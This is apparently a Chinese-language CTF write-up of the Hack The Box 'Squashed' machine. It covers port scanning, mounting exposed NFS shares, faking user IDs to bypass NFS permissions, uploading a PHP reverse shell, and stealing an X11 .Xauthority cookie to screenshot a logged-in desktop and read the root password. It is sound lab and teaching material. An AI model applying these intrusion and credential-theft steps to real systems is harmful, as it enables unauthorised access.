【HTB靶场】Squashed WriteUp

渗透过程

靶机IP:10.129.216.46
在这里插入图片描述

信息收集

端口扫描

nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000
┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-28 14:12 CST
Warning: 10.129.216.46 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.216.46
Host is up (0.15s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100021  1,3,4      43256/udp   nlockmgr
|   100021  1,3,4      45477/tcp6  nlockmgr
|   100021  1,3,4      46391/tcp   nlockmgr
|   100021  1,3,4      53539/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
46391/tcp open  nlockmgr 1-4 (RPC #100021)
56817/tcp open  mountd   1-3 (RPC #100005)
57377/tcp open  mountd   1-3 (RPC #100005)
60185/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.41 seconds

可以看到开放了NFS服务

获得shell

什么是NFS?
NFS就是Network File System的缩写,它最大的功能就是可以通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。
​ NFS服务器可以让PC将网络中的NFS服务器共享的目录挂载到本地端的文件系统中,而在本地端的系统中来看,那个远程主机的目录就好像是自己的一个磁盘分区一样,在使用上相当便利;

推测有信息泄露。网上查询NFS服务利用命令

showmount -e 10.129.216.46	#查看能共享的目录
mkdir dict_share			#本地创建用来共享的目录
mount -t nfs 10.129.216.46:/ dict_shre -o nolock	#将共享的目录挂载到dict_share目录
df -h 						#查看是否挂在成功

在这里插入图片描述
可以看到,靶机共享了 /home/ross 文件夹和 /var/www/html 文件夹,一个是用户文件夹,一个是网站根目录。进入共享文件夹,使用tree命令查看文件结构。发现有个叫password的文件
这里也有疑问。/var/www/html 作为网站根目录,为什么没有文件呢?
在这里插入图片描述
先把 Password.kdbx,复制出来。

cd home/ross/Documents
cp Passwords.kdbx /root/Desktop/password.kdbx

在这里插入图片描述
网上查询kdbx这玩意咋打开。使用 keepass2

apt-get install keepass2	#安装keepass2
keepass2 password.kdbx		#打开

在这里插入图片描述
需要密码。卡住了。
回到网站目录下没有文件的疑问。
尝试进入
在这里插入图片描述
会提示权限不够。老子root权限复制过来的居然不够?查!

ls -ald var/www/html	# -d 参数只列出目录(不递归列出目录内的文件) 
ls -al var/www/html

在这里插入图片描述
shell.php.swp文件是我刚刚上传shell.php的备份文件。原环境是没有的。

接下来怎么操作呢?
网上搜索 NFS 共享漏洞,会提到一句。
NFS协议所使用的唯一的身份验证因素就是客户端设备传递过来的UID或GID(Group ID)。这也就意味着,如果我们能够伪造客户端设备的访问ID,我们就能够绕过NFS服务器的身份验证了。
在ls命令的输出中,uid为2017。我们本地新建一个uid为2017的用户,就能访问共享文件夹了。

useradd test -u 2017
cd var/www/html

在这里插入图片描述

报错了。我在这里卡了很久,不知道是什么原因。明明uid 是2017了。
问问AI。
在这里插入图片描述
也就是说创建用户的命令不全,test用户没有home目录,它更像一个临时用户。
重新给出命令。

useradd test -u 2017 -m -s /bin/bash -G www-data

这个命令会创建一个新用户test,分配UID为2017,创建家目录/home/test,设置默认shell为/bin/bash,并将用户添加到www-data组中。

在这里插入图片描述
在这里插入图片描述
ok 进来了。既然是网站根目录,可以直接写反弹shell并访问。
本机开启监听

nc -lvnp 1234

kali下自带php的反弹shell文件

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vim shell.php

在这里插入图片描述
在这里插入图片描述
修改反弹ip为本机ip
访问 http://10.129.216.46/shell.php
拿到shell
在这里插入图片描述
在这里插入图片描述
得到user.txt的flag

提权

怎么提权呢?一个密码都没有,没法执行sudo -l
继续信息收集,发现还有一个名为ross的用户。在最开始的目录挂载中,看到其document文件夹下有个passwords.kdbx文件。回想拿到shell的过程,我们伪造了uid为2017的用户test,查看了网站根目录的文件;那伪造uid跟ross一样的用户,是不是能看到更多文件呢?

查看ross用户id,为1001
在这里插入图片描述

再次创建用户

useradd ssor -u 1001 -m -s /bin/bash -G www-data

在这里插入图片描述
显然,并没有成功。
到这实在没辙了。只能去看官方的WP
官方提示有个叫X11的东西,我一开始没找到在哪。
结果执行ls -al即可发现
在这里插入图片描述
authority是认证,session是回话,这俩肯定是敏感文件了。抓紧打开看看

┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority

squashed.htb0MIT-MAGIC-COOKIE-1
                               �$$���ۊV��nf
┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .xsession-errors                                                                              
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting SHELL=/bin/sh
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg
dbus-update-activation-environment: setting XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
dbus-update-activation-environment: setting LANGUAGE=en
dbus-update-activation-environment: setting DESKTOP_SESSION=gnome
dbus-update-activation-environment: setting PWD=/home/ross
dbus-update-activation-environment: setting XDG_SESSION_DESKTOP=gnome
dbus-update-activation-environment: setting LOGNAME=ross
dbus-update-activation-environment: setting XDG_SESSION_TYPE=x11
dbus-update-activation-environment: setting GPG_AGENT_INFO=/run/user/1001/gnupg/S.gpg-agent:0:1
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/ross
dbus-update-activation-environment: setting GDM_LANG=en
dbus-update-activation-environment: setting HOME=/home/ross
dbus-update-activation-environment: setting IM_CONFIG_PHASE=1
dbus-update-activation-environment: setting LANG=en_US.UTF-8
dbus-update-activation-environment: setting XDG_CURRENT_DESKTOP=GNOME
dbus-update-activation-environment: setting XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
dbus-update-activation-environment: setting XDG_SESSION_CLASS=user
dbus-update-activation-environment: setting USER=ross
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting SHLVL=1
dbus-update-activation-environment: setting XDG_RUNTIME_DIR=/run/user/1001
dbus-update-activation-environment: setting XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
dbus-update-activation-environment: setting PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
dbus-update-activation-environment: setting GDMSESSION=gnome
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting _=/usr/bin/dbus-update-activation-environment

直接查看还是啥重要信息也没有。

WP给的信息
在这里插入图片描述
X is a portable, network-transparent window system for managing a windowed GUI.
X 是一个可移植的、网络透明的窗口系统,用于管理窗口化 GUI。

既然是个系统,就会有登录用户和密码。继续看

The .Xauthority file is used to store credentials in the form of cookies used by xauth when authenticating X sessions. When a session is started, the cookie is then used to authenticate the subsequent connections to that specific display. With that in mind, since we can read the file using our newly created user ssor , we can steal the cookie and therefore act as the authenticated ross user and interact with the display.
.Xauthority文件用来存储X回话认证的鉴别信息。启动会话后,将使用 cookie 对与该特定显示器的后续连接进行身份验证。考虑到这一点,由于我们可以使用新创建的用户 ssor 读取文件,我们可以窃取 cookie,从而充当经过身份验证的 ross 用户并与显示器进行交互。

那好,将文件导出,并进行cookie替换。因为有不可打印的字符,所以用base64进行编码

┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ

在这里插入图片描述

再回到反弹的shell中,将导出的cookie放入新建的/tmp/.Xauthority中

script /dev/null -c bash	#美化shell界面
echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ" | base64 -d > /tmp/.Xauthority

更新X的配置文件

export XAUTHORITY=/tmp/.Xauthority

导入后,执行w命令,用于显示目前登入系统的用户信息,显示ross用户已登录。
在这里插入图片描述
使用linux下的截图命令

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

在这里插入图片描述

使用wget命令下载。下载完后,将截屏文件转成png

convert screen.xwd screen.png

在这里插入图片描述
找到root账户的密码cah$mei7rai9A
在这里插入图片描述
切换账户,得到flag
在这里插入图片描述

  • 11
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值